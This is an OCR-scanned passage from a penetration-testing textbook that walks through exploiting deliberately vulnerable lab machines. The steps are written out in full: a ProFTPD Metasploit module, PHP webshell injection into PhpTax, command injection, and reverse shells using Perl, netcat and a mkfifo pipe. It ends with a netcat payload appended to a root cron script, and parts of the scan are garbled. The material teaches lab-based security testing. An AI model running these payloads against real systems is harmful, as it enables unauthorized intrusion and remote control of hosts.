# cat Jusr/sharesexploitdb/exploits/linux/local /46676.php

# CARPE (DIEM): CVE-2019-8211 Apache Root Privilege Escalation

# Charles Fol

# https://cfreal.github.iofcarpe-diem-cve-2819-8211-apache-local-root.html

# USAGE

1. Upload exp t to Apache HTTP server

# 2. Send reque

g 3
4.

# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/

Figure 8.5: 46676.php contents



The contents of the Apache exploit 46676.php indicates that it exploits a
‘privilege escalation’ vulnerability with CVE identifier 2019-0211. The type of
vulnerability is useful to obtain elevated privileges on the target system. To use
this exploit the tester has to have a pre-existing access on the target system and
it relies on the tester to upload a php file on the target server in order to obtain
elevated privileges.

This exploit is not applicable in the current scenario as we do not have initial
shell access to the system, however it may come in handy to obtain root access
in the next chapter after we obtain an initial foothold.

Recommended is to read all the exploit codes one by one to understand more
about the vulnerability, applicability of the exploit and their usage.

Tip: Looking up the CVE identifier page on
https://nvd.nist.gov/vuln/search page will help the reader understand the
impact of the vulnerability and determine applicability of the exploit better.

Let us move to the next Apache exploit given in the table above, reading the
contents of /usr/share/exploitdb/exploits/linux/webapps/42745.py tells
us that the vulnerability has an identifier CVE-2017-9798.

Open up the firefox web browser, go to https://nvd.nist.gov/vuln/search
page, type CVE-2017-9798 in the keywords field and click on search.

NVD - Results - Mozilla Firefox e 0 6

& NVD - Results x |-

(— = 2 4 @ & https://nvd.nist.gov/vuln/sear: F eon sas ol » | =

el

CVE-2017-9798 Apache httpd allows remote attackers toread secret data  v3.0: ||
from process memary if the Limit directive can be setina I.-"Z:-
user's htaccess file, or if httpd.conf has certain
misconfigurations, aka Optionsbleed. This affects the
Apache HTTP Server through 2.2.34 and 2.4.x through 2.4.27.

The attacker sends an unauthenticated OPTIONS HTTP

request when attempting to read secret data. This is a use-

after-free issue and thus secret data is not always sent, and I
the specific data depends on many factors including

configuration. Exploitation with .htaccess can be blocked

with a patch to the ap_limit_section function in

server/core.c.

Published: September 18, 2017; 11:29:00 AM -04:00

Figure 8.6: Vulnerability research with NIST



The CVE page on the NVD website tells us that the vulnerability allows the
attacker to read sensitive data on the system but does not provide remote
access to the affected system. We can discard this exploit for the moment and
focus on exploits which will provide us with access to the target host.

Moving on, reading the contents of the Dropbear 0.34 exploit indicates that the
procedure requires the use a specific patched version of openssh-3. 6p1 on the
Kali system in order for the exploit to function properly. The exploit code also
does not mention any specific CVE identifier associated with the vulnerability,
however the code does give out the date 2004-08-09, indicating when it was
published on the last line, the date indicates that the vulnerability is more than
15 years old (at the time writing this chapter) and that the vulnerability might
not exist on the Debian 9 target which is comparatively recent.

Let’s move and view the code of the next exploit in the table which is:
/usr/share/exploitdb/exploits/linux/remote/37262.rb

root@kali: ~/lab/Joy e G0 6
File Edit View 5earch Terminal Help

#

cat /usr/share/exploitdb/exploits/linux/remote/37262.rb
25

# This module requires Metasploit: http://metas
# Current
22

Figure 8.7: Viewing exploit 37262.rb source code

Reading the code immediately tells us that the exploit is part of the Metasploit
framework and that the vulnerability allows remote command execution, the
identifier for the vulnerability is CVE-2015-3306.

Open up Metasploit by typing the msfconsole command in the terminal
window, you can then use the search command followed by the keyword from
the ms£5> prompt.



root@kali: ~/labfJoy (- IO -
File Edit View Search Terminal Help

WENTS Disclosure Date Rank
Description

great
FreeBSD)
v great
er Overflow (Linux)
great

aver

excellent ¥

Figure 8.8: Searching ProFTPD exploits within Metasploit

The preceding screenshot shows the results for search proftpd command, we
can see the exploit for ProFTPd 1.3.5 located in
exploit/unix/ftp/proftpd modcopy exec, the exploit supports ‘check’
which allows the tester to check whether the target is vulnerable without
actually exploiting the vulnerability. Metasploit also features a ranking system
for its modules based on the reliability of the module and the likelihood of
causing service disruptions.

Let’s load the exploit modules in the framework by using the command use
<search result #> Or use <module path>.

5 > use exploit/unix/ftp/proftpd modcopy exec

msfs exploit( P>

Figure 8.9: Exploit usage

Once the exploit has been loaded in the framework, take a look at the exploit
configuration by using the show options command.



root@kali: ~/lab/Joy e 0 6
File Edit View 5earch Terminal Help

msfs exploit( }) = show options

Module options (exploit/unix/ftp/proftpd modcopy exec):

Name Description

A proxy chain of format type:host:port]
The target address range or CIDR identi

RPORT

RPORT FTP

SITEPATH

S5L false 10 N t S or outgoing connecti
ons

TARGETURI

TMPPATH

VHOST

Exploit target:
Id Name

ProFTPD 1.3.5

Figure 8.10: Show options for exploit

The preceding figure shows the configuration options for the proftpd exploit,
the configuration options have a unique name given in the ‘Name’ field and can
be modified using the set <option name> command. Not all the options are
mandatory as suggested in the ‘Required’ field. In case of the above exploit
the required options are RHOSTS, RPORT, RPORT FTP, SITEPATH, TARGETURI and
TMPPATH.

The default values for RPORT, RPORT FTP, TARGETURI and TMPPATH are correct
for our scenario, so we will keep them as is. The options we need to change are
RHOSTS and siTeEpAaTH. The path for the webroot was changed to
/var/www/tryingharderisjoy as suggested 1in the version control
document.

Use the set command followed by <option name> and <value> to set the value
for RHOST with the IP address of the Joy target system and set SITEPATH to

/var/www/tryingharderisjoy.



0 > set RHOSTS 108.0.2.15
18.0.2.15

msf5 exploit(

1sjoy

SITEPATH == /var/www/tryingharderisjoy
msfs exploit(

)} = set SITEPATH /var/w tryingharder

Figure 8.11: Setting RHOST and SITEPATH options

Once the values have been correctly set, you can exploit the target by issuing
the exploit command.

> set RHOSTS 10.9.2.15

) > set SITEPATH /var/www/tryingharder

12l - Con d to FTP server
5:21 - Sending copy commands to FTP server
PHP pay L
Command shell session 1 opened (1 444 -> 10.0.2.15:59544) at

2020-
Figure 8.12: Exploiting the ProF TPD service

At this stage you will have a basic shell session on the Joy target system. Great

stuff !!, let’s check the level of access we have on the target using the ‘id’
command.

id

uid=33(www-data) gid=33(www-data) groups=33(www-data),123(ossec)

Figure 8.13: 'id' command output

The id command output shows that we have gained privileges of www-data
user and www-data group. This user is also a member of the ossec group.

Feb 15

5 Feb 18 G
Feb 15 21 b¥kz9u.php
Jan 6 2819 ossec

o
- 1
8

Figure 8.14: directory listing of /var/www/tryingharderisjoy



The ‘pwd’ command tells us that we are inside /var/www/tryingharderisjoy
directory and ‘1s -1a’ command output shows us a bykz9u.php file and the
ossec directory that we came across during the enumeration phase.

- & LAl
8 .htpasswd
Z ] 2 5 CONTRIB
R | W = a 357 uL d 2016 LICENSE
-data ta 2 ul 19 2016 README

5 README.search
C55

5 htaccess def.txt

6 img

5 index.php

Figure 8.15: Exploring ossec directory

The directory listing of the ossec directory shows us a lot of files and
directories for the ossec application. We can see a non-standard file named

‘patricksecretsofjoy’. Let’s read the content of this file to see what it
contains.

cretsofjoy

thattherootpasswordis

ow would these hack3rs ever find such a page?

Figure 8.16: Contents of ossec/patricksecretsofjoy

You will notice that the file contains two sets of credentials for patrick and
root.

patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis

As you may have noticed the current shell is a very basic interactive shell and
does not support TTY, we will need to upgrade the shell to support full TTY



mode in order to use su command needed to elevate our privileges.

Run the command within the limited shell to obtain full TTY support.

python -c 'import pty; pty.spawn("/bin/sh")'

vython -c¢ 'import pty; pty.spawn("/bin/sh")’'

Figure 8.17: Upgrading to an interactive shell

We can see that the TTY support has been activated in the shell session so we
should be able to use the su command to elevate our access using the
credentials found above.

» SU - root

su - root
rassword: howtheheckdoiknowwhattherootpasswordis

su: Authentication failure

% su - patrick
su - patrick
*assword: apolloB98765

patrick@loY:~%
Figure 8.18: Getting into user patricks account

The password for the root user was invalid however we were successful in
obtaining access to patrick’s credentials.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.15

Operating System: Linux (Debian 9)
Open Ports & Services:

e 21/tcp FTP

o ProFTPD 1.3.5

» Found listing of wuser patrick’s home directory in
/upload/directory.

= Exploits found



Z ProFTPd 1.3.5 - 'mod_copy' Command Exe |
exploits/linux/remote/37262.rb

Z Obtained shell with www-data privileges using metasploit.
Z Password for patrick is apollo098765

+j» ProFTPd 1.3.5 - 'mod_copy' Remote Comm |
exploits/linux/remote/36803.py

+}» ProFTPd 1.3.5 - File Copy |
exploits/linux/remote/36742 .txt

e 22/tcp SSH

o Dropbearsshd 0.34 (protocol 2.0)
= Exploit found

Z Dropbear SSH 0.34 - Remote Code Execut |
exploits/linux/remote/387.c

e 25/tcp SMTP
o Postfix smtpd package version 3.1.8-0
e 80/tcp HTTP

o Apache httpd 2.4.25, /ossec directory contains web interface for
OSSEC-HIDS

= Exploits found

Z Apache 2.4.17 <2.4.38 - 'apache2ct] g |
exploits/linux/local/46676.php

%+ Privilege escalation exploit

7 Apache <2.2.34/<2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py

e 110/tcp POP3

o Dovecot pop3d package version 1:2.2.27-3
e 139/tcpnetbios-ssn

o Samba smbd package version 2:4.5.16
e 143/tcp IMAP

o Dovecot imapd package version 1:2.2.27-3



e 445/tcpnetbios-ssn

o Samba smbd package version 2:4.5.16
e 465/tcp SMTP

o Postfix smtpd package version 3.1.8-0
e 587/tcp SMTP

o Postfix smtpd package version 3.1.8-0

e 993/tcpssl/imaps?
e 995/tcpssl/pop3s?
e 123/udpntp

o NTP v4 (unsynchronized)
e 137/udpnetbios-ns

o Samba nmbdnetbios-ns package version 2:4.5.16
e 161/udpsnmp

o SNMPv1 server; net-snmp SNMPv3 server (public)
e 36969/udptftp (found using snmpwalk)

o Mapped to patrick’s home directory

Kioptrix:$

In the last chapter during the research phase of our penetration testing we
viewed the Apache configuration file using a pchart 2.1.3 directory traversal
vulnerability and discovered that access to port 8080 was being restricted to
Morzilla/4.0 browser using the User-Agent matching. We bypassed the

restriction by spoofing our User-Agent and got access to the PHPTAX
application running on port 8080.

The exploits identified for PHPTAX application in the previous phase are
given in the following table:

PhpTax - 'pfilez' Execution Remote Cod |
exploits/php/webapps/21833.rb



PhpTax 0.8 - File Manipulation 'newval |
exploits/php/webapps/25849. txt
phptax 0.8 - Remote Code Execution |
exploits/php/webapps/21665. txt

Open up a terminal session, and check the code for each exploit given above
using the cat command.

Examining the code for the 21833. rb file tells us that it is a metasploit exploit
module, as we have already used metasploit last time we will use a more
manual approach this time.

The second exploit 25849. txt shows us the vulnerable parameter named field
and the exploit URL which can be leveraged to gain access to the system.

surl = Soptions['u’'];

¢shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%2@passthru(%24 GET%S
cmd%50 ) %B3B%3F%E3E" ;

Figure 8.19: Exploit 25849.txt source code

As shown in the screenshot the code above leverages a remote code execution
vulnerability in index.php file to create a basic php based command shell
rce.php.

echo *
ata/rce.php?cmd=idiyn":

Figure 8.20: rce.php webshell execution technique

The code at the end of 25849. txt shows us the location of rce.php web-shell
file and gives clues to execute commands using the cmd parameter once the
web shell has been created on the system.

Now, craft an exploit URL from the code above and send it to the Kioptrix:5
target machine using curl command:

curl -A "Mozilla/4.0 Mozilla 4browser"
"http://10.0.2.104:8080/phptax/index.php?
field=rce.phpé&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D) %
3B%3F%3E" -v

Output of the exploit is below:



root@kali: ~/lab/K5 e 0

File Edit View Search Terminal Help
- # curl -A " il illa 4brow ttp://10.8 20

php?field=rce. alue CH3Fphg

9.2.104 (10.6.2.104) p 3080 (#0)
.php?field=rce.php&r L 3Fphp%20passthru(%24 GET%S5BCm

4browser

83:49:49 GMT
FreeBSD) mod ss1/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8

Figure 8.21: Running the crafted exploit URL using curl

The command ran without any errors, let’s confirm whether rce.php has been
created on the server and execute some system commands on the target.

curl -A "Mozilla/4.0 Mozilla 4browser"
http://10.0.2.104:8080/phptax/data/rce.php?cmd=id

[ N

root@kali: ~/lab/K5 e 0
File Edit View 5Search Terminal Help

8/phpt

uild=88 { www

Figure 8.22: Executing the id command on rce.php webshell

The 1d command executed successfully on the Kioptrix target, we can see that
we can run commands with privileges of ‘www’ user.

Let’s find a way to obtain a full interactive shell access on the target, start by
checking whether netcat command is installed on the target system by sending
the command ‘find / -name nc’ to the web shell.

Sending the command directly to the web shell will not work as it does not
handle special characters correctly, hence, in order for the command to execute
on the target we will have to encode the string using the --data-urlencode
flag before sending it to the target.



: # curl -A "Mozilla/4.8 Mozilla 4browser” -G "http://10.8.2.1604
phptax/data/rce.php" --data-urlencode "cmd=find / -name nc"

. bin/nc
ts/net/nc

el
"

Figure 8.23: Finding existence of netcat via rce.php

The command shows that netcat is installed on the target and the nc binary is
located in the /usr/bin directory. We will now start a netcat listener on our
Kali system.

Let’s start a netcat listener on our Kali system and configure it to listen for
incoming connections on port 9877.

# nc -lv

Listening on [any] 9877 ...

Figure 8.24: Setting up netcat listener

Our listener has been successfully set up, we will now go back and execute the
reverse shell payload using the following command :

curl -A "Mozilla/4.0 Mozilla 4browser" -G
"http://10.0.2.104:8080/phptax/data/rce.php" --data-urlencode
"emd=nc -e /bin/sh 10.0.2.238 9877"

The command executes on the target without returning a shell on our listener,
referring  to the FreeBSD man  page for  netcat on
differently in FreeBSD implementation of netcat and it does not support
execution of binaries. We’ll have to try using alternative approaches to get a
shell on the target.

Pentestmonkey’s reverse shell cheat sheet contains a lot of ready-made scripts
to obtain a shell without netcat. http:/pentestmonkey.net/cheat-
sheet/shells/reverse-shell-cheat-sheet.

Let’s use one of the Perl script from the above cheat sheet and modify the IP
and Port address:

perl -e 'use
Socket;$i="10.0.2.238";$p=9877;socket (S,PF_INET,SOCK STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)
)))



{open (STDIN, ">&S") ;open (STDOUT, ">&S") ; open (STDERR, ">&S") ; exec (
"/bin/sh -i");};"

The preceding script contains a lot of special characters such as - ;&> which

will get parsed by our local bash shell and curl instead of being passed as
payload to the target.

To avoid this pitfall we will use the online tool https://www.urlencoder.org/
to encode the payload using URLencoding.

URL Encode and Decode - Online - Mozilla Firefox e &® O
Eile Edit Miew History Bookmarks Tools Help
& URL Encode and Decode % | 4

|{;:‘-} @ ..G)ﬂ https:/fwww.urlencoder.org BO% | += @ 1‘} m D & »

Encode to URL encoded format

Sirnply et your dists e push the encod bufton

ped 2 use Socket 5="10.0.2.235° Sp=387T,socket(S PF_INET,SOCE_STREAM getprotobymame{top itificonnect(S, socknddr_nSp,inet_atondSiiRopeniSTON, =45
Fopen(STDOUT &5 0pen(STOER R, &5 ) meec] Minish )k

0 o oo b (B Mg, docuenes, 0. ) e the file opiosed oem & b furthes down n th page
UTF-& | pestination chasacies set
LIF [Uimix] ;I e tausticn reeviine: Soparaion

[ Encode sach e sepeately (useful tor mtple enires)

[ ‘st e s 70 chawacser wide chunks [usshl for MiME)
@ Live mode OFF Ercodes in naal-tms whin you Type of (eshs (Suppons. onfy UTE-S chamcie set)

» ENCODE £ Ercodm your dats irto the bectansa belos:

perfel-e W2 0H2 Tuse %20 Socke I BRI 4HLID%2210,0.2 2382 1052 45l DS T THIBsocke PRI BSHICPF_INETHICSOCK_STREAMS2 Coefprotoymamete?
BWE I 2WI INE IMIBIYI Boonnect SRS WEC sockaddr_inW2 B2 4pWITinet_alonHI S+ 192 02 092 19 T Bopen MBS TDINWZC W ITHIEWIESWIIWI TR

dBopenWZBSTDOUTH2C W2 IWIEW265WI 292 0%3 Bopen W2 BSTD ER R W2 CWZ 2W3EWI6 SHIF 2WITHIEenac Wl W2 292 Foin W2 Fsh W2 0 AaI 2 W DI TD WIE%
27

Figure 8.25: Encoding the reverse shell payload using www.urlencoder.org
The preceding screenshot shows the URLencoded payload at the bottom of the
page.

Info: This encoding process can also be done offline using Burpsuite or
HackBar Addon for Firefox.

The encoded payload which we can use with the curl command below to
obtain the shell on our netcat listener:

curl -A "Mozilla/4.0 Mozilla 4browser"
http://10.0.2.104:8080/phptax/data/rce.php?cmd=<PAYLOAD>



Figure 8.26: Using curl to execute the reverse shell payload

The curl command shows a blinking cursor on the terminal meaning the script
ran successfully on the target, let’s check our netcat listener on port 9877 for
reverse shell connect.

B) {UNKNOWN) [10.6.2.184] 68555
; job control turned off

Uid=80 (www) gid=80(www) groups=380/{www)

Figure 8.27: Reverse shell on the netcat listener

The payload was a success. You should have received a reverse shell
connection on netcat listener from the target, running the ‘id” command shows
we have gained privileges of www user and group.

Take notes on the observations made so far and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.104
Operating System: FreeBSD
Open Ports & Services:

e 80/tcp http

o Apache httpd 2.2.21
mod ssl/2.2.21
OpenSSL/0.9.8q
DAV/2 PHP/5.3.8

pChart application found:
http://10.0.2.104/pChart2.1.3/index.php

o

o

(¢]

(¢]



= Exploit found

Z pChart 2.1.3 - Multiple Vulnerabilitie |
exploits/php/webapps/31173.txt

e 8080/tcp http

o Apache httpd 2.2.21
7 User-agent required: ‘Mozilla/4.0 Mozilla4 browser’

mod_ssl/2.2.21

OpenSSL/0.9.8q

DAV/2 PHP/5.3.8

PhpTax application found: http://10.0.2.104:8080/phptax/
Exploits found

Z PhpTax - 'pfilez' Execution Remote Cod |
exploits/php/webapps/21833.rb

z PhpTax 0.8 - File Manipulation 'newval |
exploits/php/webapps/25849.txt

+3» Web-shell uploaded at /phptax/data/rce.php
+3+ Netcat did not support execution functionality

+y» Netcat reverse shell obtained for www user using
pentestmonkeyperl payload.

Z phptax 0.8 - Remote Code Execution |
exploits/php/webapps/21665.txt

HackInOS:1

Continuing from the research phase of the previous chapter, you may recall
that after bypassing the image file upload restriction, we were successful in
uploading a basic shell on the remote machine. We had also identified various
exploits for the services such as Apache, WordPress and OpenSSH which were

found to be running on the target system.

The other potential exploits identified on the HackinOS target in the previous

phase are given in the following table:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php



Apache < 2.2.34 / < 2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py
WordPress Plugin Quick Page/Post Redir |
exploits/php/webapps/32867. txt

OpenSSH 7.2p2 - Username Enumeration |
exploits/linux/remote/40136.py

OpenSSHd 7.2p2 - Username Enumeration |
exploits/linux/remote/40113. txt

We will start by using the web shell access and find a way to elevate this to a
full reverse shell.

Let’s begin by running a netcat listener on our Kali system, and configure it to
receive incoming connections on port 9878.

HK# nc -1vp 9878

Listening on [any] 9878 ...

Figure 8.28: Setting up netcat listener

You may have noticed in the previous chapter that the HackinOS target
periodically deletes the emd.php file uploaded to the /uploads directory. So,
you will have to re-upload the omd.php using the upload page
http://10.0.2.4:8000/upload.php and then execute the wfuzz -w
md5strings.txt --hc 404  http://10.0.2.4:8000/uploads/FUZZ.php
command to find the file to identify the name of the newly uploaded webshell.

Now, first check whether netcat is installed on the HackinOS target using the
whereis command

http://10.0.2.4:8000/uploads/<md5string>.php?cmd=whereis nc

Mozilla Firefox o0
Eile Edit View History Bookmarks Tools Help
10.0.2.4:8000/upload.php X | 10.0.2.4:8000/uploads/f3b: X | +

— 1= & 0 ‘G:- 5191:.831:!525kEE?EEESIE.php':‘crnd=whereis ne v = @ -:?r_| n @ & »
GIF89a; nc: /bin/ne.traditional /bin/nec
Figure 8.29: Using php webshell to find netcat

Bingo!!, Netcat is installed on the target host and is located in the /bin
directory.



We can use netcat to send a reverse shell connection to the listener using the
following command:

http://10.0.2.4:8000/uploads/<md5string>.php?cmd=nc <Kali IP>
<9878> -e /bin/bash
Mozilla Firefox e e o

Eile Edit View History Bookmarks Tools Help
10.0.2.4:8000/upload.php X | 10.0.2.4:8000/uploads/f3b. x |+

]

“ )= & o Q, :Bald5263c9e7e68819.php? cmd=nc 10.0.2.238 9878 -e /bin n @ & »

Figure 8.30: Executing netcat reverse shell command using webshell

Let’s get back to the terminal and check whether we have a reverse shell
connect-back from the HackinOS target.

root@kali: ~flab/HK e 0
File Edit View Search Terminal Tabs Help
root@kali: ~/lab/HK x root@kali: ~/lab/HK x [ =

8] from (UNKNOWN) [18.8.2.4] 44200

=33 (www-data) gid=33(www-data) groups=33(www-data)

Figure 8.31: Reverse shell connect back on netcat listener

Great!!, we have a reverse shell connect back from the target, running the ‘id’
command shows that we have gained privileges of www-data user and www-
data group.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.4

Operating System: Ubuntu Linux
Open Ports & Services:

22/tcp SSH

OpenSSH 7.2p2 Ubuntu 4ubuntu2.7



Exploits Found

OpenSSH 7.2p2 - Username Enumeration |
exploits/linux/remote/40136.py

OpenSSHd 7.2p2 - Username Enumeration |
exploits/linux/remote/40113.txt

8000/tcp HTTP

Apache httpd 2.4.25

Exploits found

Apache 2.4.17 <2.4.38 - 'apache2ctl g | exploits/linux/local/46676.php

Apache < 2234 / < 2427 - OPTIONS M |
exploits/linux/webapps/42745.py

WordPress 5.0.3

Exploit found

WordPress Plugin Quick Page/Post Redir | exploits/php/webapps/32867.txt
http-robots.txt: 2 disallowed entries

/upload.php

page source available on https://github.com/fatihhcelik/Vulnerable-
Machine---Hint/blob/master/upload.php

GIF and PNG files are allowed, uploaded files are renamed to md5-
hash(filename + random number 1-100).ext and stored in /uploads
directory.

Basic webshellcmd.php with GIF89a tag was uploaded to the server.
Webserver is running with privileges of user www-data.

Netcat reverse shell established with privileges of user www-data.
/uploads

Sunset:Nightfall

Continuing from the research phase for Nightfall target from the previous
chapter, where we generated and uploaded the authorized keys in the .ssh
directory using user matt’s credentials. Since the setup has been done obtaining
access to the target via ssh is going to be fairly simple.




We had also identified one potential exploit for the Apache 2.4.38 server which
was found to be running on the target system.

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php

Before you move on to the juicy bit of gaining access via ssh, open up a
terminal session and examine the 46676 .php exploit using the cat <filename>
command.

root@kali: ~/lab/nightfall e 0 6
File Edit View Search Terminal Help

# cat Jusr/sharefexploitdb/exploits/linux/local/46676.p
: CVE-20819-8211 Apache Reoot Privilege Escalation

-04-08
INFOS

https://cfreal.github.iofcarpe-diem-cve-2019-0211-apache-local-root.html

ache HTTP server

ptate to restart Apache

1
2.
3.
4.

You can change the command that is ran as root using the cmd HTTP
neter (GET/P
imple: curl ht localhost/carpediem. php?cmd=cp+/etc/shadow+/tmp/

=
2
"
5
&
#
&
#
=
&
u
#
#
2
&
#
B
u
&
B
#
.2
#

SUCCESS RATE

Figure 8.32: 46676.php exploit source code
Make your observations regarding the applicability of this exploit and move on
to the next step.

Establish access to matt’s account on the Nightfall target by executing the
command ssh matt@10.0.2.5 and accept the ECDSA fingerprint by typing

yes.



# ss5h matt@le.e.2.5
established
fingerprint is SHA256:6vqHaROcVDypNHNTRv BAJYmoMbLG49
I sure you want to continue connecting (yes/no/[fingerprint])?
: Permanently added '18.8.2.5° (ECDSA) to the list of

permitted by applic
Last login: wed Aug 28 18:31:27 2819 from 192.168.1.18
matt@nightfall:-%

Figure 8.33: SSH access successful for user matt using public key

We have successfully obtained access to the system as user matt.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.5

Operating System: Debian Linux

Open Ports & Services:

21/tcp fip

pyftpdlib 1.5.5

User:mattPassword:cheese (via bruteforce attack using hydra)
Uploaded authorized keys to .ssh folder inside user matt’s home directory
22/tcpssh

OpenSSH 7.9p1 Debian 10 (protocol 2.0)

Login obtained for user matt using sshauthorized keys.

80/tcp http

Apache httpd 2.4.38 ((Debian))

Exploit found

Apache 2.4.17 <2.4.38 - 'apache2ctl g | exploits/linux/local/46676.php
139/tcpnetbios-ssn

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Found users: matt, nightfall



445/tcpnetbios-ssn

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcpmysql

MySQL 5.5.5-10.3.15-MariaDB-1

Login denied for user matt

137/udpnetbios-ns

Samba nmbdnetbios-ns (workgroup: WORKGROUP)
5353/udpmdns

DNS-based service discovery

Mumbai:1

Research phase for Mumbai target concluded after identification of a command
injection vulnerability within the ‘query’ parameter of the test.php API running
on port 8000.

We had also identified two potential exploits for the Apache service running on
the target system.

Apache 2.4.17 < 2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php
Apache < 2.2.34 / < 2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py

We will start by using the command injection vulnerability and leverage it to
obtain a full reverse shell.

Let’s check whether netcat is installed on the target system by using the
whereis nc command:
# curl http://10.0.2.6:80808/test.php -X POST -d "query=;wh

ereis nc"
Site Keywords and Counts:

nc: /fbin/nc.openbsd sbin/nc fusr/share/man/manl/nc.l.gz
- #

Figure 8.34: Exploiting command injection vulnerability to find netcat

Netcat is installed on the target system, however, as shown in the screenshot
the installed version is nc.openbsd which is different from the traditional
version and doing some research on the internet



mentions that it does not support -e execute option just like its FreeBSD
cousin, we will have to use alternate means to obtain a reverse shell.

Let’s begin by running a netcat listener on our Kali system, and configure it to
receive incoming connections on port 9879.

H # nc -lvp 9879
Listening on [any] 9879 ...

Figure 8.35: Setting up netcat listener

Our listener setup is complete and waiting for connections on port 9879, let’s
move to finding alternative approaches to get a reverse shell.

In this example, we will use input output redirection wizadry that we learnt in
Chapter 3, Finding your Way Around Kali Linux to send out a shell to our Kali
system despite the missing -e flag.

The command string to achieve this is given as follows:

rm /tmp/fifo;mknod /tmp/fifo p;/bin/sh 0</tmp/fifo|nc
10.0.2.238 9879 1>/tmp/fifo;done

Let’s send the payload to the target, and wait for an incoming connection.

ftmp/fifo;mknod stmp/fifo p;/bin/sh @</tmp/fifo|nc 10.0.2.238 9879 1>/tmp/fifo;:

done”

Figure 8.36: Executing reverse shell payload using command injection vulnerability

The command sting above creates a named pipe file called fifo inside the /tmp
directory, the contents of the fifo file are fed as STDIN input to /bin/sh and
the responses from sh are piped to netcat binary which in-turn sends an
outbound connection to our Kali system on port 9879. Finally, any STDOUT
data received from netcat is written back into the fifo file which gets parsed by
the /bin/sh shell thus completing the loop and giving us a fully working
reverse shell.
: # nc -lvp 9879
listening on [any] 9879 ...
18.8.2.6: inv o lookup failed: Unknown host

connect to [10.8.2.238] from (UNKNOWN) [10.8.2.6] 37668
d

uid=10081(apiuser) gid=1001l(apiuser) groups=1001l{apiuser),ll5(docker])




Figure 8.37: Reverse shell connect back on netcat listener

The remote netcat gave sent a working reverse shell, we were able to execute
the ‘id’ command on the target. The id command output shows that we
currently have privileges of apiuser, and are a member of the docker group.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.6

Operating System: Ubuntu Linux

Open Ports & Services:

21/tcp fip

vsftpd 3.0.3

Anonymous FTP allowed, file called Note revealed security issues
22/tcpssh

OpenSSH 7.6p1 Ubuntu

80/tcp http

Apache httpd 2.4.29

Exploits found

Apache 2.4.17 <2.4.38 - 'apache2ctl g | exploits/linux/local/46676.php

Apache < 2234 / < 2427 - OPTIONS M |
exploits/linux/webapps/42745.py

WordPress 5.2.3

XMLRPC was enabled which could lead to security issues
User absozedfound

3306/tcpmysql

8000/tcp http

nginx 1.14.0

bash* files found suggesting that the web root might be user’s home
directory

Docker container was built by a system user and /api directory was added
to the PATH variable.



API  http://10.0.2.6:8000/test.php which executes a python script
keywords.py for producing word count.

API is vulnerable to command injection using symbols ; | and %0a
Netcat did not support execution functionality

Reverse shell obtained reverse shell using command piping and
input/output redirection.

Conclusion

This chapter we covered the tools and techniques used to exploit
vulnerabilities on the target system. Additionally, we learnt about automated,
manual exploitation, bypassing system restrictions through hands-on exercises.

The next chapter will focus on elevating the user access that we have obtained
to gain administrative privileges on the target hosts.

Questions

1. Which command is used to start the Metasploit framework?

2. Which command is wused within Metasploit to display module
configuration?

3. Which linux command did we use to create the FIFO file used during
exploitation of the Mumbai:1 target?



CHAPTER 9

Post Exploitation

n the previous chapter we covered the topic of exploitation of the target

systems and learnt about using the various tools and techniques
applicable during the exploitation phase of a penetration test to obtain initial
level of access on the target systems.

This chapter will delve into the subject of post exploitation and activities
performed in this phase, we will leverage upon the initial access obtained
on the target systems and information gained about them during the
previous chapters to completely take over the target systems by obtaining
administrative access on them.

Structure

In this chapter, we will touch upon the following topics:

e Attacking administrative scheduled jobs.
o Attacking privileged scripts and binaries.
e Scanning using automated scripts.

» Exploiting Kernel or Privileged services.

We will also follow following objectives:

Objectives
After reading this chapter, you will be able to:

e Perform manual and automated scan to identify potential points of
privilege escalation.

e Transfer files between Kali and target hosts using netcat.
e Exploit SUID SGID binaries.
* Exploit Kernel or system processes to elevate access.



e Crack password hashes.
» Perform escape sequences to obtain shell.
e So, let's begin with the next steps.

DC-7

During the previous chapter we had uploaded a PHP reverse shell on the
target and gained initial access into the DC-7 target with the privileges of
www-data user.

Continuing further, we opened up the Drupal/PHP reverse shell that we
received on port 9876 in the previous chapter, we will leverage this shell to
exploit the system to obtain privileged access.

You might recall that the backups.sh file group was set to www-data in
Chapter 7, Vulnerability Research.

2019 backups.sh

Figure 9.1: backup.sh file permissions

Now upon checking the file permissions we can re-confirm that the www-
data group has read, write and execute permissions to the backups. sh file.

You may also remember from Chapter 7, Vulnerability Research that the
backups . sh script is executed by the cron daemon to perform backups tasks
using root privileges.

We already have written access to the backups.sh file, and hence the
easiest way to obtain root is to simply add a reverse shell entry in the
backups. sh file, and wait for cron daemon to execute it as root.

On a separate Kali terminal window setup, a netcat listener to listen on port
9879 to receive the root shell.

# nc -lvp 9879

listening on [any] 9879 ...

Figure 9.2: Setting up netcat listener

Let’s go back to the window containing the Drupal/PHP reverse shell to
append the payload to the /opt/scripts/backups. sh file.



1. Enter the /opt/scripts directory using the cd command.

2. Type the command echo "nc 10.0.2.238 9879 -e /bin/bash" >>
./backups.sh

irase PickYourOwnPassword --symmetric /fhome/

--symmetric /home/

Figure 9.3: Appending netcat reverse shell command inside backup.sh script

The output of tail command on backups.sh shows that our payload has
been successfully added to the file. All we have to do now is to wait for the
cron daemon to execute the backups.sh job, and receive a reverse shell on
our netcat listener port 9879.

